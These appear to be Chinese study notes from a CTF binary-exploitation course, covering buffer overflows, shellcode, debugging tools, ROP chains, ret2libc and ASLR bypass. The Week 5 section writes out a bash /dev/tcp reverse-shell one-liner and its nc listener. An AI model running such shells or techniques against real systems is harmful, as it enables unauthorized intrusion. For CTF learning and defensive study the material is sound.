视频学习笔记
:[] -----表示视频中的位置
:() -----表示思路
:*/ -----表示说明
Week3
-CTF Capture The Flag
-种类:
Jeopardy:拿Flag
Attack-Defense:打服务器每个队伍的,拿到对方主机的Flag,并且对方会被扣分,找本身漏洞或者分析对方payload推测漏洞,在自己的binary上patch
King of the Hill:有一队拿到Flag别的队伍不能打,回合制
-Pwnable:
Windows:
Linux:找洞-> 写Exp->思路正确->本地可以 ![思路图片] [23:15 ]
1.找到任意地址 read
2.找到任意地址 write (写GOT 写stack ROP) */服务器端可能会开保护
-Resource:
ctftime.org
pwnable.kr
-Buffer Overflow:
Stack Overflow: [30:00]
Shellcode: 具体应用[117:19]
限制:DEP
不可以有 \0
可以用call + pop 的方式拿到shellcode address
长度不足时,如果还能输入可以做个read就好即shellcode 的功能为read 然后再利用read达到想要的目的
*/objdump [41:34] strip*/删除某些不用的节 依靠节 IDA不依靠节
IDA如果觉得某个函数反编译错了 Undefine 了在另一个函数Code一下就会显示原来反汇编的
查看上级调用 x */也可以看String 的上级引用
u:认为函数被分析错误时使用 、
c:重新在指定位置分析
x:查看上级调用
n:重命名
Objdump: [48:00]
-T
-M intel 设置为intel反汇编
设置默认intel alias objdump='objdump -M intel'
readelf:
找symbol readelf -a | grep ' printf@'
ncat
nact -vc 'strace -e strace=read ./程序' */''括起来的相当于一个程序 -e 设置显示函数
gdb [ 67:00]
操作[75:002]
attach 操作出问题 将 /proc/sys/kernel/yama/ptrace_scope 设置为0
.gdbinit:set disassembly-flavor intel
gdb 会关闭 ALSR
Hook & patch [78:00]
alarm */程序打开一定时间后自动关闭 防止一直跑 [79:00]
修改alarm (vim 打开binary 有alarm 修改alarm为xxxxx -> %s/alarm/xxxxx/g :x 保存)
*/vim %s/AAA/BBB/g 将AAA换成BBB 因为xxxxx symbol 没有所以会报错 所以需要换成 有的symbol 通常换成 isnan
若不想打开vim 用 sed -i s/alarm/isnan/g ./程序名 也可以实现相同功能
hook alarm by LD_PRELOAD [81:13] 这个patch方法必须是 binary 为动态链接
LD_SHOW_AUXV
qira [85:25]
nasm [110:00]
nasm -f elf32 源.asm -o 目的.o
ld
ld -o 目的 源.o -m elf_i386
objcopy
objcopy -O 输出方式 源.o 目的
Alphanumeric Shellcode 只有A-Z a-z 0-9 可以使用写 shellcode [120:00- --]
绕过服务器 一些限制的一个思路
Heap Overflow:
Week4
-Alphanumeric Shellcode [-- -60:00 ]
-gdbserver [5:48-12:40]
gdbserver ip:端口 程序
gdb >> target remote ip:端口 */gdb 连接程序的方法 停在start
nc -vc '命令 可以输入的和命令行可输入的一样' -kl ip 端口 */此时必须先nc 连接再用gdb 连接
pwntools 在连接后加一行input('#') 可以挡住nc的程序继续运行 进而用gdb连接可以从主函数调试[18:20]
-system call [12:40- ]
-ROP Return Oriented Programming [70:51-]
ROP Chain
ROP 类型
控制register 做 syscall
使用原程序里有的 function
使用 libc 里有的 gadget 或 function
ROP syscall [80:00-120:40] */此处为基本构造 之后的利用为通过Stack Migration 技巧利用
找到控制syscall所需的reg(eax,ebx,ecx,edx)
找到 int 0x80 gadget
ROPgedget */pwntools 的库 [81:30]
Trick
execve需要/bin/sh,且地址已知
先用read把需要的字符串写道已知地址buffer上
一个写ROP的很好的例子 用 map和join函数加[] */此处表示数据类型 联合使用
调试基本都是断在ret的地
gtes结束标志是 \n 不加不会结束
思路:x/i $eip
execve 中不可以带换行\n 所以用read读的时候要注意调用的不能加换行 注意 sendline 函数[114:00]
read syscall [80:00-109:39]
execve syscall [109:39-120:40]
Stack Migration [128:20- --] */此处分了两部分 此处为一个Trick并不是一种利用方法 此Trick为syscall服务
*/ROP syscall 为一种方法 Stack Migration 为一种解题技巧 目的是绕过各种限制 达到syscall 的目的
Week5 [4:00-81:00 97:20-]
-利用libc 或function [4:00-]
call 程序里有的function [5:31-12:51]
跳.plt entry
函数参数直接
用pop-ret 清掉用过的参数
使用libc里的函数 [12:52-81:00]
printf,gets,puts等函数是放在libc.so.6里
可以直接使用ROP call libc里的system,即使程序里没有使用到的
使用条件
libc版本或函数offset要已知
ASLR问题,不知道libc里函数的地址
Address Space Layout Randomization
Library每次程序执行时载入内存中的地址会不一样
Stack的地址也会不一样
Dynamically Linked ELF 相关操作 [18:42-27:24]
ldd ./程序 */的之程序使用的libc路径
readelf -s /lib32/libc.so.6 */检查libc里的symbol 此处接的是lib 的路径
LD_LIBRARY_PATH=./path/to/libc */指定要载入libc路径替换lib 如果覆盖系统的lib 会出现错误 如果想改变某个程序的lib 用此方法指定,后边接的也是目录 */并且ld 与libc应对应即一套 [25:23] 只有当时执行时有效
Function Lazy Binding [27:24-33:44]
library在binary执行时才会载入
第一次call函数时,解析函数的地址并填入.got.plt
因为ASLR所以每次的值会不同
fun_addr = offset+lib_addr
Libc Base Address [33:44-38:38] */因为是必须要位被call过的函数 且__libc_start_main 一定会是被call过的 所以在这里用__libc_start_main 当地址中含0时一般不用
函数在libc中的相对位置不会变
使用readelf得知 __libc_start_main 和 system 在 libc 里面的距离差
使用任何输出函数打印出__libc_start_main.got位上的内容,推算出system在内存里的地址
ROP叠出puts(__libc_start_main@got)
要leak的got entry,对应的函数必须是已被call过 */被call过的函数的addr一般为f开头 即很大的数 至少比libc——base大
前提:已有或已知远端的libc.so.6版本
Libc Data Base [38:38-44:00]
已知两个function 的addr 时可以在libcdb里找有没有对应的版本 */libcdb.com 两个函数 和其对应的函数地址
Stack Migration [46:27-78:00] */实例 ROP_one 跑完之后才可以做ROP_two的实例
shell反射[78:00-81:00] */只能 input 没有 output 的时候使用
system("bash -c 'bash -i > & /dev/tcp/ip/port 0>&1' ") */ ip为控制端的ip 相当于给’ip’主机在本机开一个端口为'port'的shell
nc -klp 'port' */连接端输入此命令等待被连接\
ROP for x86-64 [97:20-130:00 ]
64-bit ROP [98:00-101:00]
syscall要用rax,rdi,rsi,rdx,rcx,r8,r9 syscall
Function call参数传递是用register */ ret text tet libc
rdi,rsi,rdx,rcx,r8,r9
需要用pop-ret控制register,再接function address
64-bit Register [101:00-106:00]
rax,rcx,rdx,rbx,rsp,rbp,rsi,rdi
r8-r15使用前八个加上REX prefix来表示的 */[101:35-104:00] rax-r8 rbx-r11 rcx-r9 rdx-r10
r12-r15是callee saved,所以r12-r15在function return前是很常见的 [104:00] */pop rdi没有
pop r14 = 415e / pop rsi = 5e */所以用此两条指令分别截一半表示 pop rsi 和 pop rdi
pop r15 = 415f / pop rdi = 5f
ROPgadget
ROPgadget 预设长度的搜索长度对于64bit来说不太够 [106:00-106:31]
ROPgadget --binary ./程序 --depth 100 */增加长度
通用gadget [106:31-] */大部分情况下只需要控制rdi,rsi,rdx就够用了
64bit ROP需要gadget来控制参数
gcc产生的程序中有些片段是一定会有的,可以用来做ROP,通常要构造ret2libc不是问题
gcc >= 4.8,一点的版本有些gadget会不太一样
控制rdi,rsi [107:54-111:10]
libc_csu_init中存在 pop r12 pop r13 pop r14 pop r15
控制rdx [111:10-114:54]
libc_csu_init mov rdx,r13 mov rsi,r14 mov edi,r15d call XXXX
先放某个buffer上一个pop_rXX-ret gadget 的地址,控制r13的值、r12指向该buffer、rbx设成0
pop_rXX 会清掉call的return address,之后再ret下一个gadget
控制rax [114:55-122:00] */JOP 的时候可能会用到 rax 因为 jmp rax 指令段很常见
用函数的返回值来控制
gets,fgets返回的buffer(rax=rdi) */buffer 必须可以写
strcpt,strncpy
alarm */alarm call第二次的时候它返回上次alarm为几秒 上次alarm设的值 视频中附alarm exp [121:00]
控制rcx [122:00-130:00]
很少会需要
没有通用gadget
通常call function 看看会对rcx造成什么样的影响
例如strcap可能会让 ecx= 输入字符串
De-ASLR with ROP [130:00-] */实例
在无法泄露时算出函数地址
实际上很多漏洞利用的情况中,是没有办法leak memory,再送第二次ROP的 */EX web server,browser
Function offset有可能已知,因为平台就哪几种,libc版本可以猜
在没有信息泄露的情况下,只送一次payload,算出system的address然后call
dl_runtime_resolve [135:00-138:00 ]
有一种ROP技巧,是让lazy binding函数被解析时得到错误的address
但有一些使用限制,RELEO保护全开时(应该)没有办法 */Full RELEO 时 got.plt节只读
-fno-stack-protector -Wl -z,relro,-z,now
ROP流程[140:00-]
想办法从got.plt上捞出东西来(base)
使用pop_rsp_r13_r14_r15_ret,暂时把stack移动到got上,用pop把值拿出来
在最后ret对应的格子上,与先填好leave_ret;并在一开始就先设好rbp准备好migrated stack
取出的base在r13上
把捞出来的东西加上offset(base+offset)
放回memory再call它
用好的gadget都是在64bitELF里会有的(GCC>=4.8)